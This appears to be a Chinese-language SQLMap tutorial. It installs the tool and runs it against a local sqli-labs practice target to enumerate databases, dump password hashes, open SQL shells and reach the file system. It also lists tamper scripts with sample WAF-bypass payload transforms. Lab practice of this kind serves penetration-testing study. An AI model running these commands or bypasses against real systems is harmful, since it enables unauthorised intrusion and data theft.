一个自动化的注入工具。功能是扫描、发现并利用给定的URL的SQL注入漏洞,内置了很多绕过的插件。
MySQL、Oracle、PostgreSQL、Microsoft SQL Sever、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。
盲注(布尔盲注和时间盲注)、报错注入、联合查询注入、堆查询注入。
数据库指纹识别、数据库的枚举、数据提取、访问目标文件系统,在获取到完全的操作权限时实行任意的命令。
SQLMap的安装依赖于Python的环境,所以需要事先安装好Python.
SQLMap的下载官方地址:http://www.sqlmap.org
下载到最新的SQLMap以后将其放进Python(我这里是python2)的目录下。
在系统变量中添加Python的地址以及SQLMap的地址
双击进入系统变量Path
完成后进入命令行
输入
sqlmap.py
SQLMap在windows下使用,需要先进入SQLMap的目录下,然后使用时在命令前加python(如果同时装了python2和python3,并且配置以后命令行分别输入python2和python3可以得到版本号的使用python2或者python3)
我们以本地搭建的sql-labs靶场网址作为注入点测试。
目标注入点是:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
判断其是否存在注入的命令如下所示:
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1
1、使用了get进行传参
2、存在布尔盲注、报错注入、时间盲注、联合查询注入
3、使用的数据库是MySQL数据库
4、操作系统为Windows
5、php、Apache以及MySQL的版本
提示:如果注入点后面的参数大于等于两个时,需要使用双引号包裹目标URL。
SQLMap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie、POST数据等)
图为一个包含Web数据包的txt文件
命令指示行下使用命令
python2 sqlmap.py -r C:/Users/10638/desktop/1.txt
需要注意的是,当前网址必须已经确定存在注入后,转到sqlmap的目录下执行以下语句
python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --dbs
该命令在查询完数据库后使用,用来查询指定的数据库下的所有表。如果不加-D
参数来指定数据库则会列出所有数据库的所有表。
python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security --tables
当前命令为获取security库下的users表中的所有字段名
python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users --columns
python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --users
python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --passwords
第一个显然使用了加密,使用的是MySQL5加密,解密在网址:http://www.cmd5.com
python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --current-db
python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --current-user
表示需要执行的测试等级,从低到高1-5测试的范围会更加全面,同时运行速度也会依次递减。在不加–level参数的情况下,默认为1最低等级。
SQLMap所使用的Payload一般在sqlmap下的\data\xml\payloads
路径中。
具体等级测试:
level2 --HTTP cookie的测试,同时包含上一等级测试
level3 --HTTP Usee-Agent/Referer头的测试,同时包含上一等级测试
之后的会测试更多,这里不多赘述。
使用如下即可
python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --level 2
用于查看当前账户是否为数据库管理员账户。
python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --is-dba
用于查看数据库用户的角色,且仅适用于当前数据库为Oracle。如果当前数据库为MySQL时,输入–roles时会有以下提示
依旧可以查询到:
SQLMap可以在请求中伪造HTTP中的referer,条件是–level等级需要设置为3或3以上,因为此时SQLMap才会尝试对referer注入。
参数后面+空格后接构造的语句
用于执行指定的SQL语句。
python2 sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --sql-shell
用于运行任意操作系统的命令
限定条件:
用于读取执行文件。
读取的文件可以为文本或者二进制文件。
用于写入本地文件到服务器中
读取的文件可以为文本或者二进制文件。
SQLMap默认情况下仅使用了CHAR()函数防止出现单引号,数据不会进行修改。
可以使用–tamper参数对数据做修改来绕过WAF等设备。具体命令格式:
python2 sqlmap.py xxxxx --tamper "模块名"
官方目前提供53个绕过脚本,本次不做全部介绍,仅介绍一些常用脚本。
作用是将单引号替换为UTF-8编码的形式。
作用是将语句替换为base64编码的形式
作用是围绕SQL的关键字添加多个空格。
作用是将+号替换成空格
作用是用双重语句替代预定义的SQL关键字
如
1 UNION SELECT 2--
变成
1 UNIONUNION SELECTSELECT 2--
作用是将空格替换成其他的有效字符
例如
SELECT id FROM users
变成
SELECT%0Did%0DFROM%0Ausers
作用是追加特制的字符串
例如
1 AND 1=1
变成
1 AND 1=1 and '0having'='0having'
作用是将空格替换为#号,并且添加一个随机字符串和换行符。
作用是将空格替换成其他空符号
作用是将空格替换为#号,并添加一个换行符
例如
1 AND 9227=9227
变成
1%23%0AAND%23%0A9227=9227
作用是用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换等号(=)。